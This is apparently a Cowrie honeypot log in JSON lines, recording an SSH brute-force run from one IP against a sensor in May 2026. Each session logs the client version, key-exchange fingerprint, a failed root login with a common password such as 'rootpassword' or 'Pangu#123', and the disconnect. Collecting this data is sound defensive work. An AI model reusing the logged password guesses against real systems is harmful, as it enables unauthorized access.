2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:05.335705Z","src_ip":"60.165.124.241","session":"e1004f6ab67f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zxcvbnm123.","message":"login attempt [root/Zxcvbnm123.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:06.068682Z","src_ip":"60.165.124.241","session":"e1004f6ab67f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:07.311200Z","src_ip":"60.165.124.241","session":"e1004f6ab67f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":41596,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a3bbb0113ca","protocol":"ssh","message":"New connection: 60.165.124.241:41596 (10.17.0.5:22) [session: 2a3bbb0113ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:07.543963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:07.549294Z","src_ip":"60.165.124.241","session":"2a3bbb0113ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:07.786495Z","src_ip":"60.165.124.241","session":"2a3bbb0113ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"team2","message":"login attempt [root/team2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:08.508681Z","src_ip":"60.165.124.241","session":"2a3bbb0113ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":40950,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b47faf5f381","protocol":"telnet","message":"New connection: 135.148.33.91:40950 (159.203.135.109:23) [session: 5b47faf5f381]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:09.601763Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:09.749727Z","src_ip":"60.165.124.241","session":"2a3bbb0113ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":44444,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ca835ffd7ae","protocol":"ssh","message":"New connection: 60.165.124.241:44444 (10.17.0.5:22) [session: 8ca835ffd7ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:10.005787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:10.010999Z","src_ip":"60.165.124.241","session":"8ca835ffd7ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:10.259645Z","src_ip":"60.165.124.241","session":"8ca835ffd7ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asd123!@#","message":"login attempt [root/Asd123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:11.010862Z","src_ip":"60.165.124.241","session":"8ca835ffd7ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:12.265920Z","src_ip":"60.165.124.241","session":"8ca835ffd7ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":47754,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed34d71893dc","protocol":"ssh","message":"New connection: 60.165.124.241:47754 (10.17.0.5:22) [session: ed34d71893dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:12.487354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:12.492175Z","src_ip":"60.165.124.241","session":"ed34d71893dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:12.728533Z","src_ip":"60.165.124.241","session":"ed34d71893dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@com","message":"login attempt [root/123@com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:13.443996Z","src_ip":"60.165.124.241","session":"ed34d71893dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:14.683707Z","src_ip":"60.165.124.241","session":"ed34d71893dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":50650,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba283f4f168d","protocol":"ssh","message":"New connection: 60.165.124.241:50650 (10.17.0.5:22) [session: ba283f4f168d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:14.918051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:14.923302Z","src_ip":"60.165.124.241","session":"ba283f4f168d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:15.161832Z","src_ip":"60.165.124.241","session":"ba283f4f168d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootpassword","message":"login attempt [root/rootpassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:15.890744Z","src_ip":"60.165.124.241","session":"ba283f4f168d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:17.132937Z","src_ip":"60.165.124.241","session":"ba283f4f168d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":53836,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c7f448211ff","protocol":"ssh","message":"New connection: 60.165.124.241:53836 (10.17.0.5:22) [session: 1c7f448211ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:17.365766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:17.370735Z","src_ip":"60.165.124.241","session":"1c7f448211ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:17.607813Z","src_ip":"60.165.124.241","session":"1c7f448211ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mnbvcxz!","message":"login attempt [root/mnbvcxz!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:18.327811Z","src_ip":"60.165.124.241","session":"1c7f448211ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:19.567969Z","src_ip":"60.165.124.241","session":"1c7f448211ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":56746,"dst_ip":"10.17.0.5","dst_port":22,"session":"254e82e98e90","protocol":"ssh","message":"New connection: 60.165.124.241:56746 (10.17.0.5:22) [session: 254e82e98e90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:19.800991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:19.806101Z","src_ip":"60.165.124.241","session":"254e82e98e90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:20.046261Z","src_ip":"60.165.124.241","session":"254e82e98e90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Dd199196./","message":"login attempt [root/Dd199196./] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:20.765680Z","src_ip":"60.165.124.241","session":"254e82e98e90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:22.009923Z","src_ip":"60.165.124.241","session":"254e82e98e90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":59696,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe161a6cb5d9","protocol":"ssh","message":"New connection: 60.165.124.241:59696 (10.17.0.5:22) [session: fe161a6cb5d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:22.239259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:22.245077Z","src_ip":"60.165.124.241","session":"fe161a6cb5d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:22.479949Z","src_ip":"60.165.124.241","session":"fe161a6cb5d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxc123","message":"login attempt [root/zxc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:23.190037Z","src_ip":"60.165.124.241","session":"fe161a6cb5d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:24.429142Z","src_ip":"60.165.124.241","session":"fe161a6cb5d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":34492,"dst_ip":"10.17.0.5","dst_port":22,"session":"993e9f46b373","protocol":"ssh","message":"New connection: 60.165.124.241:34492 (10.17.0.5:22) [session: 993e9f46b373]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:24.677107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:24.682081Z","src_ip":"60.165.124.241","session":"993e9f46b373","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:24.927166Z","src_ip":"60.165.124.241","session":"993e9f46b373","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pangu#123","message":"login attempt [root/Pangu#123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:25.664211Z","src_ip":"60.165.124.241","session":"993e9f46b373","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:27.142684Z","src_ip":"60.165.124.241","session":"993e9f46b373","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":37940,"dst_ip":"10.17.0.5","dst_port":22,"session":"386edb6d683e","protocol":"ssh","message":"New connection: 60.165.124.241:37940 (10.17.0.5:22) [session: 386edb6d683e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:27.374181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:27.378507Z","src_ip":"60.165.124.241","session":"386edb6d683e","protocol":"ssh"}
